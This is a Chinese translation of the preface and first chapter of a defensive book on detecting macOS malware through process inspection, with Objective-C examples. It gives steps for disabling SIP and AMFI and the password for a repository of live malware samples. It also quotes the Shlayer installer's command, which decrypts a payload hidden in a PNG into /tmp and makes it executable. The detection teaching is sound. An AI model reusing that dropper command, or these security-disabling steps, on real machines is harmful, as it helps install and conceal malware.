Mac-恶意软件的艺术卷二-全-

Mac 恶意软件的艺术卷二(全)

原文:zh.annas-archive.org/md5/c208fed426d96249df1ac5d89c1ef17a

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

不幸的是,我们正生活在 Mac 恶意软件的黄金时代。Mac 电脑的销量年年攀升,^(1) 而行业报告预测,Mac 将成为企业环境中的主导平台。^(2) 随着苹果在全球电脑市场的份额不断增长,Mac 已经成为机会主义黑客和恶意软件作者越来越有吸引力的目标。一些研究甚至发现,Mac 系统上的威胁和恶意软件平均多于 Windows 系统。^(3)

在保护 Mac 电脑及其用户时,分析恶意软件(《Mac 恶意软件艺术》 第一卷的主题)只是战斗的一半。首先检测恶意代码是另一部分,可能甚至更重要。检测恶意代码有多种方法,每种方法都有其优缺点。在检测的光谱一端,我们可以利用恶意软件特征库。通过扫描二进制文件中恶意字节的序列,我们可以高效地识别已知的威胁。然而,这样做无法检测到新型恶意软件或变种。这一缺点是令人烦恼的。为了解释为什么,考虑一下名为 FruitFly 的恶意软件。它由一位程序员精心设计,并以高度定向的方式进行部署,长达十多年都未被发现,因为没有任何防病毒程序包含其检测特征。这款恶意软件通过 Mac 的麦克风和摄像头窃听毫无戒备的受害者,导致了现实生活中的严重后果。^(4)

在检测的光谱另一端是基于行为的启发式检测,它关注恶意程序的行为或对系统的影响。为了理解这种方法,想想你上次生病时的情况。也许你一开始只是流鼻涕、头痛、喉咙痛或肚子疼。尽管你可能不知道是哪种病原体感染了你,但你身体的症状表明你已经不再是正常、健康的自己。我们可以用类似的策略来通用且启发式地检测数字病原体:通过寻找症状和异常现象。

即使是新型且隐秘的恶意软件样本,在与系统互动时也会产生可观察的事件。有些,如产生一个新持久化的未签名进程,可能很容易被检测到。其他一些,如悄悄植入一个木马化的动态库或一个隐蔽的外泄通道,则更加微妙。无论如何,如果我们能通过编程检测到这些行为,我们应该能够判断系统是否被感染,并通过识别出相关进程来确定感染源。

本书侧重于基于启发式的方法,这是应对日益频繁针对 macOS 的复杂和前所未见的威胁的唯一途径。我们将编写能够检测异常的代码,然后定位恶意入侵系统的软件。在这个过程中,我们将深入探讨 macOS 操作系统,涉及的主题包括私有框架、反向工程专有系统组件等。

当然,基于启发式的检测方法也有一些缺点。虽然它应该能够识别系统中的任何恶意项,但它可能无法识别具体的恶意软件类型。例如,它应该能够注意到一个未经授权的程序偷偷访问麦克风或摄像头,但它不会知道负责该进程的是否是恶意软件 FruitFly。这是一个重大的缺点吗?我认为不是,因为负责感染的恶意软件可能本来就未知,而且你始终可以部署一个基于签名的检测引擎来覆盖已知的基础问题。

另一个挑战是基于启发式的检测可能会受到误报的影响。例如,恶意软件作者通常利用可执行的打包程序来混淆他们的恶意作品,但合法的软件开发者也可能如此。因此,任何基于启发式的检测方法在试图将某个项目分类为恶意时,都不应该只依赖单一的启发式规则。相反,检测应该始终寻找多个异常行为,并利用减少误报的方法,比如代码签名信息,才会将某些项目标记为可疑或可能是恶意的。如果条件允许,你可以让人工来验证任何被标记的项目。

本书内容概览

本书的核心内容是描述如何编写代码来检测 macOS 恶意软件。全书分为三部分。

就像医生通过做检查和收集数据来做出诊断一样,恶意软件检测器也必须如此。在第一部分:数据收集中,我们讨论了收集检测感染症状所需数据快照的程序化方法。我们将从简单的开始,描述列举和查询系统中运行进程的方法。在后续章节中,我们将深入探讨更高级的概念,例如直接解析二进制文件、提取和验证代码签名信息以及通过与专有系统组件交互来发现持久性。在相关部分,我们将展示恶意软件示例的代码片段。本部分的章节如下:

第一章:检查进程 由于大多数 Mac 恶意软件样本作为独立进程运行,因此检查每个运行中进程的各种信息和元数据是发现感染的一个很好的起点。

第二章: 解析二进制文件 在 macOS 系统上,任何进程的背后都有一个通用或 Mach-O 二进制文件。本章将展示如何解析这些二进制文件,以揭示其中的异常。

第三章: 代码签名 任何基于启发式检测的方法都容易出现误报。通过提取和验证代码签名信息,正如本章所示,我们可以减少误报,同时提高任何恶意软件检测工具的有效性。

第四章: 网络状态与统计 本章描述了通过编程方式捕获主机网络状态和网络统计信息的方式。大多数 Mac 恶意软件会访问网络,而这些快照应该能够揭示未经授权的网络访问。

第五章: 持久性 恶意软件会保持持久性,以便在系统重启后仍然存活。持久性会对主机进行修改,本章重点讲解如何通过编程方式检测这些变化。

虽然第一部分讲解了如何获取数据快照,第二部分: 系统监控则介绍了持续监控系统以发现感染症状的方法。例如,我们将讨论一些框架和应用程序接口(API),它们可以帮助我们监控系统日志,并创建强大的文件、进程和网络监控工具。本部分包括以下章节:

第六章: 日志监控 系统或通用日志包含大量数据,可以揭示大部分感染情况。苹果并未提供公开 API 用于接收流式日志消息,因此本章深入探讨了你可以在自己工具中使用的私有框架和 API。

第七章: 网络监控 本章专门讲解苹果的NetworkExtension框架,其 API 提供了构建强大网络监控工具的能力,这些工具可以揭示任何使用主机网络的恶意软件。

第八章: 终端安全 如果你在 macOS 上构建全面的恶意软件检测工具,你应该利用强大的终端安全框架及其 API。本章介绍了终端安全。

第九章: 静音和授权事件 本章涵盖了更高级的终端安全主题,包括授权事件、静音等内容。

2015 年,我创立了 Objective-See,现在它是一个非营利组织,提供免费的开源 macOS 安全工具。第三部分: 工具开发深入介绍了 Objective-See 的几款最受欢迎的工具。这些工具能够通用地检测多种 macOS 恶意软件,利用了第一部分和第二部分中讨论的许多方法。一旦你理解了它们的设计和内部结构,你就能顺利地构建自己的恶意软件检测工具。本书的最后,我们将把这些工具与多种复杂的 macOS 恶意软件进行对比。对于每一个样本,我们会讨论其感染路径、持久性方法和功能,然后突出工具如何发现这些症状。本部分的各章内容如下:

第十章: 持久性枚举器 谁在那儿?大多数 Mac 恶意软件能在系统重启后持续存在,因此能够枚举所有持久性软件的工具应该能够揭示任何持续安装的恶意软件。本章将介绍这样一个工具:KnockKnock。

第十一章: 持久性监视器 受其兄弟工具 KnockKnock 启发,BlockBlock 利用端点安全技术,通过实时监控持久性事件来检测恶意软件。

第十二章: 麦克风和摄像头监视器 一些最狡猾的 Mac 恶意软件通过摄像头监视受害者,或通过麦克风监听他们。本章聚焦于 OverSight,它利用核心音频和媒体 API 以及日志子系统来检测恶意软件访问这些设备的行为。

第十三章: DNS 监视器 恶意软件试图连接到远程域名——例如,用于任务处理或数据外泄——将会生成 DNS 流量。本章展示了 DNSMonitor 如何利用苹果的NetworkExtension框架监控并阻止 macOS 主机上任何未经授权的 DNS 流量。

第十四章: 案例研究 提出关于安全工具有效性的说法是一回事,支持这些说法又是另一回事。在本章的最后,我们将把我们的安全工具与几种特别复杂和隐蔽的恶意软件样本进行对比,看看它们的表现如何。

本书适合谁阅读?

如果你理解网络安全基础、恶意软件基础和编程知识,你会从本书中获益最多。不过这些并不是必备条件,我会解释所有重要的概念。你还会发现阅读我的另一本书,《Mac 恶意软件的艺术》(第一卷,No Starch Press,2022),对你有帮助,因为它会介绍一些我们这里不会再涉及的 macOS 恶意软件基础知识。除此之外,我写这本书时特别考虑到了以下读者群体:

学生 作为一名计算机科学专业的本科生,我对理解和检测计算机病毒有着浓厚的兴趣,并渴望拥有一本像这样的书。如果你正在攻读技术学位,并希望了解更多关于恶意软件检测的方法,或许是为了增强或补充你的学业,那么这本书适合你。

恶意软件分析师 我的恶意软件分析师生涯始于国家安全局,在那里我研究了针对美国军事系统的 Windows 恶意软件和漏洞利用。当我离开该机构时,我开始研究 macOS 威胁,但发现这一领域缺乏资源。本书旨在填补这一空白。如果你是 Windows 或 Linux 恶意软件分析师(甚至是希望提升技能的 Mac 恶意软件分析师),本书应能为你提供如何检测针对 macOS 系统的威胁的见解。

Mac 系统管理员 过去基于 Windows 的同质化企业环境已基本消失。如今,Mac 在企业中已变得普遍,催生了专门的 Mac 系统管理员以及(不幸的是)专注于运行 macOS 系统的企业恶意软件作者。如果你是 Mac 系统管理员,理解如何检测针对你所要防御的系统的威胁是至关重要的。本书旨在提供这样的理解(以及更多内容)。

开发人员 本书的核心内容是提出编写能够通用检测 Mac 恶意软件的代码的方法。如果你的工作是为 macOS 编写安全相关工具,那么本书对你会很有帮助。

即使你不是程序员,你可能会觉得关于程序化恶意软件检测的书籍值得一读。恶意软件检测远不仅仅是编写代码。我们将深入探讨 macOS 内部机制,涉及逆向工程话题,并讨论各种恶意软件样本,包括它们的能力和功能。

代码与恶意软件样本

你可以在https://github.com/objective-see访问本书中讨论的所有代码示例、恶意软件样本和工具。TAOMM 仓库按章节组织代码示例,Malware 仓库包含每个恶意软件样本的加密版。使用密码infect3d解密样本。

警告

TAOMM 仓库中的代码主要用于示范目的,优先考虑简洁性而非其他方面,如全面的错误检查。因此,不应照搬这些代码,例如在部署的安全产品中使用。请注意,Malware 仓库中的集合包含活跃的恶意软件。请不要感染自己!(如果你感染了,至少别怪我。)

本书旨在展示与语言无关的算法和方法,但本书中的大部分代码是用 Objective-C 编写的。我选择不使用 Swift——这是一个非常适合编写 Apple 应用的语言,因为它在安全工具的上下文中会带来一些特定的挑战。例如,本书经常使用私有框架,这在 Objective-C 中很容易访问,但在 Swift 中需要额外的组件,例如桥接头文件。同样,使用暴露接口和 API 的 C 语言框架(如至关重要的 Endpoint Security)在 Objective-C 中非常直接。而在 Swift 中访问这些接口时,通常需要大量的类型转换和对 OpaquePointer 与 UnsafeMutablePointer 值的解包。

我在 macOS 14 上编写了所有代码,并在 macOS 的最新版本(包括 13、14 和 15)上进行了测试。在相关的地方,我会讨论跨版本的编程方法差异(例如,当一个旧的 API 被更现代的版本取代时)。这些讨论将帮助你编写与多个操作系统版本兼容的工具,并确保你继续支持旧版本。为了发现操作系统未来更新时可能出现的新技术,可以查看 Objective-See GitHub 上的存储库,获取本书中讨论的大部分开源安全工具的最新版本。

为了帮助你将每章中呈现的更大程序的不同部分拼凑在一起,我已为本书中的代码清单编号,使用了顺序编号(如清单 1-1、清单 1-2 等)。恶意软件示例和命令行示例没有清单编号。

开发环境

在你开始之前,我建议安装 Xcode,这是 Apple 的集成开发环境(IDE),也是在 macOS 上创建安全工具的事实标准产品。Xcode 可以在官方的 Mac App Store 上免费下载,它提供了一个用户友好的平台用于开发软件。我使用 Xcode 编写并编译了本书中的所有代码示例和工具,因此我建议你对这个工具有基本的了解。虽然这里不提供 Xcode 使用的详细指南,但网上有许多优秀的免费教程可以参考。

代码签名要求

说到编译代码:如果你曾在 macOS 上从事软件开发,你可能会遇到与 Apple 的代码签名要求相关的挑战,甚至更糟的是,关于权限的挑战。出于安全原因,Apple 在允许程序运行之前会检查程序的代码签名信息。(我们在第三章中更详细地讨论了代码签名。)

幸运的是,macOS 允许以临时方式对代码进行签名,这意味着如果你正在开发将在本地运行的安全工具,你不需要支付 99 美元购买 Apple 的开发者 ID。在 Xcode 中,在“签名与功能”下,勾选自动管理签名选项,并确保签名证书设置为本地运行签名

权限

利用系统扩展或端点安全的工具需要特殊的权限,例如com.apple.developer.endpoint-security.client,才能运行。在第三部分中,我们将介绍如何从 Apple 获取这些权限,以构建可分发的工具。不过,获取权限需要付费的开发者 ID 账户。

对于本地开发和测试,你可以通过禁用系统完整性保护(SIP)来绕过权限要求。^(5) Apple 提供了禁用 SIP 的文档,方法是将 Mac 启动到恢复模式,执行命令 csrutil disable。^(6)

你还需要禁用 Apple 移动文件完整性(AMFI);否则,未完全签名和未认证的授权二进制文件将无法运行。禁用 SIP 后,你可以通过终端以 root 权限执行以下命令来禁用 AMFI:

nvram boot-args="amfi_get_out_of_my_way=1"

使用 nvram -p 来确认启动参数是否正确设置。最后,重新启动。

需要强调的是,禁用这些 macOS 安全机制会大大降低系统的安全性。因此,最好仅在虚拟机中或在专用的开发测试机器上执行此操作。要在恢复模式下重新启用 SIP,运行 csrutil enable,要重新启用 AMFI,删除启动参数,通过运行 nvram -d boot-args

安全地分析恶意软件

本书展示了许多检测 Mac 恶意软件的编程技巧。在本书的最后一章,你甚至可以跟着我们一起,利用我们的工具对各种恶意软件样本进行分析。如果你计划运行书中的代码片段,或构建并测试自己的工具来对抗这些恶意软件,一定要非常小心地处理这些样本。

一种恶意软件分析方法是使用独立计算机作为专用分析机器。你应该以最简化的方式设置这台机器,禁用如文件共享等服务。在网络配置方面,大多数恶意软件需要互联网访问才能完全发挥功能(例如,通信与指挥控制服务器进行任务处理),因此你应该以某种方式将机器连接到网络。至少,我建议通过 VPN 路由网络流量,以隐藏你的地理位置,防止攻击者追踪。

然而,利用独立计算机进行分析也有一些缺点,包括成本和复杂性。如果你希望将分析系统恢复到一个干净的基准状态(例如,重新运行一个样本或分析一个新样本),后者的缺点尤其明显。虽然你可以重新安装操作系统,或者如果使用 Apple 文件系统(APFS),返回到基准快照,但这两者都需要消耗时间。

为了应对这些缺点,你可以改为利用虚拟机来进行分析。像 VMware 和 Parallels 等公司提供了 macOS 系统的虚拟化选项。这个想法很简单:虚拟化操作系统的新实例,将其与你的基础环境隔离开来,最重要的是,可以通过点击按钮将其恢复到原始状态。要安装新的虚拟机,请按照每个供应商提供的说明操作。通常,这包括下载操作系统安装程序或更新程序,将其拖放到虚拟化程序中,然后完成其余的设置。

注意

不幸的是,Apple Silicon 系统在虚拟化 macOS 时存在一些限制。像 Parallels 这样的供应商提供了与 Apple Silicon 兼容的预构建虚拟机,但目前尚不支持快照等功能。

在进行任何分析之前,确保禁用虚拟机与基础系统之间的任何共享。例如,如果你运行了一个勒索软件样本,却发现它也加密了你主机系统上的任何共享文件,那将是相当不幸的。虚拟机还提供了网络选项,如仅主机和桥接。前者只允许与主机进行网络连接,这在各种分析情况下可能会非常有用,例如当你设置本地命令与控制服务器时。

我注意到,将虚拟机恢复到其原始状态的能力可以大大加快恶意软件分析,因为这样可以让你回到分析过程的早期阶段。你在开始分析之前应该始终拍摄一个快照,这样在完成分析后,你可以将虚拟机恢复到一个已知的干净状态。在分析过程中,你也应当明智地使用快照。例如,在允许恶意软件执行某些核心逻辑之前,立即拍摄一个快照。如果恶意软件未能执行预期的操作(可能是因为它检测到你的分析工具并提前退出),或者如果你的分析工具未能收集到所需的数据,只需恢复到快照,进行必要的环境或工具调整,然后重新允许恶意软件执行。在专用分析计算机或不支持快照的虚拟机上,APFS 快照可能是你的最佳选择。

虚拟机分析方法的主要缺点是恶意软件可能包含阻止虚拟机的逻辑。如果恶意软件能成功检测到自己正在被虚拟化,它通常会退出以避免继续分析。有关识别和克服此类逻辑的方法,请参见《Mac 恶意软件艺术》第一卷的第九章。

若要获取更多关于设置分析环境的信息,包括配置隔离虚拟机的具体步骤,请参阅 Phil Stokes 的如何在不被感染的情况下逆向分析 macOS 恶意软件。^(7)

额外资源

若要进一步阅读,推荐以下资源。

书籍

以下列表包含了一些我最喜欢的书籍,涵盖了逆向工程、macOS 内部结构以及一般恶意软件分析等主题。虽然其中有几本书比较旧,但核心的逆向和分析内容应该是永恒的。

  • 蓝狐:ARM 汇编内部结构与逆向工程 由 Maria Markstedter 著(Wiley, 2023)

  • x86 软件逆向工程、破解与对策 由 Stephanie 和 Christopher Domas 著(Wiley, 2024)

  • Jonathan Levin 的macOS/iOS(OS)内部结构*三部曲(Technologeeks Press, 2017)

  • 计算机病毒研究与防御艺术 由 Péter Ször 著(Addison-Wesley Professional, 2005)

  • 逆向工程:逆向工程的秘密 由 Eldad Eilam 著(Wiley, 2005)

  • OS X 事件响应:脚本和分析 由 Jaron Bradley 著(Syngress, 2016)

网站

曾几何时,关于 Mac 恶意软件分析的资料在网上极为稀缺。如今,情况已大有改观。多个网站收集了这一主题的信息,像我自己在 Objective-See 网站上的博客也专注于 Mac 安全相关话题。以下是我最喜欢的一些资源,尽管这并不是一份详尽无遗的清单:

  • https://papers.put.as: 一个相当详尽的关于 macOS 安全主题和恶意软件分析的论文和演讲档案。

  • https://themittenmac.com: 知名 macOS 安全研究员和作者 Jaron Bradley 的个人网站,包含 macOS 的事件响应工具和威胁狩猎知识。

  • https://objective-see.org/blog.html: 我的博客,过去十年来发布了我和其他安全研究人员在 macOS 恶意软件、漏洞利用等方面的研究成果。

注释

  1. 1.  “根据 IDC 跟踪器,2022 年第三季度全球 PC 出货量再下降 15.0%”,商业新闻,2022 年 10 月 9 日,https://www.businesswire.com/news/home/20221009005049/en/Worldwide-PC-Shipments-Decline-Another-15.0-in-the-Third-Quarter-of-2022-According-to-IDC-Tracker.

  2. 2.  “Jamf 第三季度数据确认 Mac 在企业中的快速普及”,Computer World,2022 年 11 月 11 日,https://www.computerworld.com/article/3679730/jamf-q3-data-confirms-rapid-mac-adoption-across-the-enterprise.html.

  3. 3.  “Malwarebytes 发现 Mac 威胁首次超越 Windows,成为最新恶意软件报告中的主角”,Malwarebytes,2020 年 2 月 11 日,https://www.malwarebytes.com/press/2020/02/11/malwarebytes-finds-mac-threats-outpace-windows-for-the-first-time-in-latest-state-of-malware-report.

  4. 4.  美国司法部公共事务办公室,“俄亥俄州计算机程序员因感染数千台计算机恶意软件并获得受害人通信和个人信息而被起诉”,新闻稿第 18-21 号,2018 年 1 月 10 日,https://www.justice.gov/opa/pr/ohio-computer-programmer-indicted-infecting-thousands-computers-malicious-software-and.

  5. 5.  “系统扩展和 DriverKit”,Apple,访问日期:2024 年 5 月 25 日,https://developer.apple.com/system-extensions/.

  6. 6.  “禁用和启用系统完整性保护”,Apple,访问日期:2024 年 5 月 25 日,https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc.

  7. 7.  Phil Stokes,如何在 macOS 上反转恶意软件而不被感染,2019 年 8 月 14 日,https://go.sentinelone.com/rs/327-MNM-087/images/reverse_mw_final_9.pdf

第一部分 数据收集

恶意软件检测始于数据收集。所有恶意代码都会在感染的系统上执行偏离正常行为的操作。因此,通过收集足够的数据,你可以揭示任何感染。

数字病原体的症状通常反映了恶意软件的目标或功能。例如,如果计算机感染了广告软件,你可能会看到浏览器篡改或劫持的搜索页面。如果是隐秘的后门程序,你可能会观察到一个监听套接字,允许攻击者远程控制感染的系统或其未经授权的网络流量。任何想要在重启后存活的恶意软件都必须具有持久性,这将导致文件系统的显著修改。

在第一部分中,我讨论了安全软件如何通过编程方式收集来自 macOS 系统的数据,以检测任何数字感染,就像医生在检查人类患者是否生病时一样。大多数恶意代码在 macOS 系统上以独立进程的形式运行,因此我将从讨论如何通过编程方式查询系统来获取所有正在运行进程的快照开始这一部分。然后,我们将提取有关每个进程的信息,例如它们的参数、层级、加载的库等。如果某个运行中的进程确实是恶意软件,我们在此提取的信息应该能够轻松揭示这一事实。

随后的章节将通过展示如何从特定项目或整个系统中提取其他类型的数据,来增强我们的恶意软件检测能力。我将通过深入探讨机制和 API 来讨论代码签名,获取并验证加密的代码签名。这些信息不仅能进一步揭示恶意软件,而且同样重要的是,它还允许我们在寻找恶意代码时忽略可信项目。我还将展示如何从 Mach-O 二进制文件、网络以及苹果公司专有的后台任务管理数据库中提取重要数据,该数据库用于管理持久化项目。

第一章:1 检查进程

大多数 Mac 恶意软件以独立进程的形式持续运行在感染的系统上。因此,如果你生成一个运行中的进程列表,很可能会包含系统上存在的任何恶意软件。因此,当你试图通过编程检测 macOS 恶意软件时,应该首先检查进程。在本章中,我们将首先讨论枚举正在运行的进程的各种方法。然后,我们将编程提取每个运行进程的各种信息和元数据,以揭示与恶意软件常见的异常情况。这些信息可以包括完整路径、参数、架构、进程、层次结构、代码签名信息、加载的库、打开的文件等。

当然,恶意进程出现在列表中并不立即意味着该进程就是恶意的。随着恶意软件作者不断努力将恶意程序伪装成良性的,这一点变得愈发正确。

本章中展示的大部分代码片段来自 enumerateProcesses 项目,你可以从本书的 GitHub 仓库下载该项目的代码。当没有参数时执行此工具,它将显示你系统上所有运行进程的信息;当传递一个进程 ID 时,它将检索指定进程的信息。要查询一个进程,运行代码的权限级别必须与目标进程相匹配或更高,因此像这样的安全工具通常需要以 root 权限运行。

进程枚举

在 macOS 上枚举所有进程最简单的方法是通过 libproc API,例如 proc_listallpids。顾名思义,该 API 提供一个包含每个运行进程的进程 ID(pid)列表。作为参数,它需要一个输出缓冲区和该缓冲区的大小。它将填充该缓冲区,包含所有运行进程的进程 ID,并返回运行进程的数量。

你怎么知道输出缓冲区应该多大呢?一种策略是首先调用 API,传递 NULL 和 0 作为参数。这会导致该函数返回当前正在运行的进程数,然后你可以使用这个数量来分配缓冲区,以便后续调用。然而,如果在这个过程中产生了一个新进程,API 可能无法返回其进程 ID。

因此,最好分配一个缓冲区来保存最大数量的可能运行进程。现代版本的 macOS 通常可以支持数千个进程,但这个数字可能会根据系统配置而更高(或更低)。由于这个可变性,你需要通过 sysctlbyname API 从 kern.maxproc 系统变量中动态获取这个最大值(见列表 1-1)。

#import <libproc.h>
#import <sys/sysctl.h>

int32_t processesCount = 0;
size_t length = sizeof(processesCount);

sysctlbyname("kern.maxproc", &processesCount, &length, NULL, 0); 

列表 1-1:动态获取最大运行进程数

现在我们已经知道了可能的最大运行进程数,我们只需分配一个大小为该数量与每个进程 ID 大小的乘积的缓冲区。然后我们调用 proc_listallpids 函数(列表 1-2)。

pid_t* pids = calloc((unsigned long)processesCount, sizeof(pid_t));
processesCount = proc_listallpids(pids, processesCount*sizeof(pid_t)); 

列表 1-2:生成运行进程的进程标识符列表

现在我们可以添加打印语句,然后执行此代码:

% **./enumerateProcesses**
Found 450 running processes

PIDs: (
    53355,
    53354,
    53348,
    ...
    517,
    515,
    514,
    1,
    0
) 

该代码应该返回一个包含所有运行进程的进程 ID 列表,如你在执行 enumerateProcesses 项目时所看到的那样。

审计令牌

尽管进程 ID 在系统范围内用于标识进程,但它们在进程退出后可以被重用,这会导致一个竞态条件,其中进程 ID 不再指向原始进程。解决进程 ID 竞态条件问题的方法是使用进程的 审计令牌,这是一个独特的值,永远不会被重用。在后续章节中,你将看到 macOS 有时会直接提供审计令牌,例如当进程试图连接到远程 XPC 端点或 Endpoint Security 发来的消息时。不过,你也可以直接从任意进程获取其审计令牌。

你会在 enumerateProcesses 项目中的一个名为 getAuditToken 的函数里找到获取审计令牌的代码。该函数根据进程 ID 返回其审计令牌(列表 1-3)。

NSData* getAuditToken(pid_t pid) {

    task_name_t task = {0};
    audit_token_t token = {0};
    mach_msg_type_number_t infoSize = TASK_AUDIT_TOKEN_COUNT;

  ❶ task_name_for_pid(mach_task_self(), pid, &task);
  ❷ task_info(task, TASK_AUDIT_TOKEN, (integer_t*)&token, &infoSize);

 ❸ return [NSData dataWithBytes:&token length:sizeof(audit_token_t)];
} 

列表 1-3:获取进程的审计令牌

首先,函数声明了所需的变量,包括一个类型为 audit_token_t 的变量,用于保存审计令牌。接着它调用 task_name_for_pid API 获取指定进程的 Mach 任务 ❶。你需要这个任务来调用 task_info,它将把进程的审计令牌填充到传入的变量中 ❷。最后,审计令牌被转换为一个更易于管理的数据对象 ❸,并将其返回给调用者。^(1)

当然,进程 ID 或审计令牌的列表并不能告诉你哪些(如果有的话)是恶意的。尽管如此,你现在可以提取大量有价值的信息。接下来的章节将从一个简单的任务开始:检索每个进程的完整路径。

路径和名称

一种简单的方法是通过 proc_pidpath API 从进程 ID 查找进程的完整路径。该 API 接受进程 ID、路径的输出缓冲区以及缓冲区的大小。你可以使用常量 PROC_PIDPATHINFO_MAXSIZE 来确保缓冲区足够大以容纳路径,如列表 1-4 所示。

char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
proc_pidpath(pid, path, PROC_PIDPATHINFO_MAXSIZE); 

列表 1-4:检索进程的路径

还有其他方法可以获取进程的路径,其中一些方法不需要进程 ID。我们将在第三章中介绍一种替代方法,因为它需要理解与代码签名相关的各种概念。

一旦获得了进程的路径,你可以利用它执行各种检查,帮助你判断该进程是否为恶意进程。这些检查可以是简单的,比如查看路径是否包含隐藏的组件,也可以是更复杂的(例如,对路径中指定的二进制文件进行深入分析)。本章讨论了隐藏路径组件,而下一章将深入探讨完整的二进制分析。

识别隐藏的文件和目录

路径中的信息可以直接揭示异常。例如,路径中包含以点(.)为前缀的目录或文件组件,默认情况下将在用户界面和各种命令行工具中被隐藏。(当然,也有方法查看隐藏项,例如通过执行带有 -a 标志的 ls 命令。)从恶意软件的角度来看,保持隐藏是件好事。然而,这也成为了一种强有力的检测启发式,因为良性进程很少会被隐藏。

有很多 Mac 恶意软件的例子,它们从隐藏目录中执行或本身就被隐藏。例如,名为 DazzleSpy 的网络间谍植入程序,^(2) 在 2022 年初被发现,它会作为名为 softwareupdate 的二进制文件持久安装在名为 .local 的隐藏目录中。在进程列表中,这个目录显得非常突兀:

% **./enumerateProcesses**
Found 450 running processes

(57312):/Applications/Signal.app/Contents/MacOS/Signal
(41461):/Applications/Safari.app/Contents/MacOS/Safari
(40214):/Users/User/**.local**/softwareupdate
(29853):/System/Applications/Messages.app/Contents/MacOS/Messages
(11242):/System/Library/CoreServices/Dock.app/Contents/MacOS/Dock
...
(304):/usr/libexec/UserEventAgent
(1):/sbin/launchd 

当然,任何基于启发式的方法都不可避免地会产生误报,你偶尔会遇到合法的软件将自己隐藏。例如,我的 Wacom 绘图板会创建一个名为.Tablet的隐藏目录,从该目录中持续运行各种程序。

获取已删除二进制文件的路径

在 macOS 上,进程没有任何障碍来删除其支持的磁盘上的二进制文件。恶意软件作者意识到这个选项,并可能设计出一种程序,通过悄悄地从文件系统中删除自己的二进制文件来隐藏自己,从而避开文件扫描器,复杂化分析。你可以在 Mac 恶意软件中看到这种异常行为,例如 KeRanger 和 NukeSped,后者曾在臭名昭著的 3CX 供应链攻击中被使用。^(3)

让我们更仔细地看看 KeRanger,它是一款勒索病毒,唯一的目的是加密受害者的文件并索要赎金。由于它在单次执行过程中完成这两个操作,因此在生成后不需要再保留其二进制文件。如果你查看它的主函数的反汇编,你会看到 KeRanger 的第一个动作是通过调用 unlink API 来删除自己:

int main(int argc, const char* argv[]) {
    ...
    unlink(argv[0]); 

如果安全工具获取了 KeRanger 进程的进程 ID(可能是因为勒索病毒的行为触发了检测启发式分析),像 proc_pidpath 和 SecCodeCopyPath 这样的路径恢复 API 将会失败。这些 API 中的第一个,通常返回进程路径的长度,在这种情况下将返回零,并且 errno 会被设置为 ENOENT,而 SecCodeCopyPath 则会直接返回 kPOSIXErrorENOENT。这将告诉你,进程的二进制文件已经被删除,这本身就是一个警告信号,因为正常的进程通常不会自删除。

如果你仍然想恢复现在已删除的二进制文件的路径,不幸的是,你的选择相当有限。一种方法是直接从进程的参数中提取路径。我们将在稍后章节的“进程参数”部分讲解这一方法,参见第 9 页。然而值得注意的是,一旦进程启动,就没有任何东西阻止进程修改其参数,包括路径。因此,恢复的路径可能已经被悄悄修改,不再指向自删除的二进制文件。

验证进程名称

恶意软件作者知道他们的恶意程序会出现在苹果内置的活动监视器中,即便是普通用户,也可能仅凭注意到一个奇怪的进程名称就发现感染。因此,Mac 恶意软件通常会尝试伪装成 macOS 的核心组件或流行的第三方软件。我们通过两个例子来说明这一点。

ElectroRAT 是 2021 年初被曝光的一种远程访问工具(RAT),专门针对加密货币用户。^(4)它试图通过将自己命名为.mdworker来融入系统。在旧版本的 macOS 中,你通常会发现多个合法的 Apple 元数据服务器进程(mdworker)在运行。恶意软件可以利用这个相同的名称来避免引起怀疑,至少在普通用户眼中是如此。

幸运的是,由于代码签名(稍后在本章中简要讨论,详细内容见第三章),你可以检查一个进程的代码签名信息是否与其显著的创建者匹配。例如,很容易发现 ElectroRAT 的.mdworker二进制文件是可疑的。首先,它没有由苹果签名,这意味着它不是库比蒂诺的开发者创建的。一个匹配知名 macOS 进程名称但不属于苹果的二进制文件,很可能是恶意软件。最后,由于其名称以点开头,ElectroRAT 的进程文件也被隐藏,这又是一个警告信号。

另一个例子是 CoinMiner,一种隐秘的加密货币矿工,利用隐形互联网项目(I2P)进行加密通信。实现 I2P 逻辑的网络组件名为com.adobe.acc.network,以模仿 Adobe 软件,后者以安装各种守护进程而著名。通过检查进程的代码签名信息,你可以发现 Adobe 并没有签署这个二进制文件。

你现在可能在想,如何确定一个进程的名称。对于非应用程序进程,如命令行程序或系统守护进程,这个名称通常对应于文件组件。如果完整路径存储在字符串或 URL 对象中,你可以通过 lastPathComponent 实例属性检索此组件。例如,列表 1-5 中的代码提取了 ElectroRAT 的进程名称,.mdworker,并将其存储在变量 name 中。

NSString* path = @"/Users/User/.mdworker";
NSString* name = path.lastPathComponent; 

列表 1-5:提取 ElectroRAT 的进程名称

如果该进程是一个应用程序,你可以通过 runningApplicationWithProcessIdentifier: 方法实例化一个 NSRunningApplication 对象。该对象将提供多种信息,其中最相关的是应用程序捆绑包的路径,该路径保存在 bundleURL 实例属性中。捆绑包包含大量信息,但这里最重要的是应用程序的名称。列表 1-6 中的 enumerateProcesses 项目中的 getProcessName 函数展示了如何针对给定的进程 ID 提取此信息。

NSRunningApplication* application =
[NSRunningApplication runningApplicationWithProcessIdentifier:pid];
if(nil != application) {
    NSBundle* bundle = [NSBundle bundleWithURL:application.bundleURL];
    NSString* name = bundle.infoDictionary[@"CFBundleName"];
} 

列表 1-6:提取应用程序名称

从 NSRunningApplication 对象中,我们创建一个 NSBundle 对象,然后从捆绑包的 infoDictionary 实例属性中提取应用程序的名称。如果该进程不是应用程序,NSRunningApplication 实例化将会优雅地失败。

进程参数

提取并检查每个正在运行的进程的参数可以揭示该进程的活动。它们本身也可能看起来很可疑。臭名昭著的 Shlayer 恶意软件的安装程序提供了一个典型的示例。它执行了一个带有以下参数的 bash shell:

"tail -c +1381 \"/Volumes/Install/Installer.app/Contents/Resources/main.png\" |
openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out /tmp/ZQEifWNV2l -pass
\"pass:0.6effariGgninthgiL0.6\" && chmod 777 /tmp/ZQEifWNV2l ... && rm -rf /tmp/ZQEifWNV2l" 

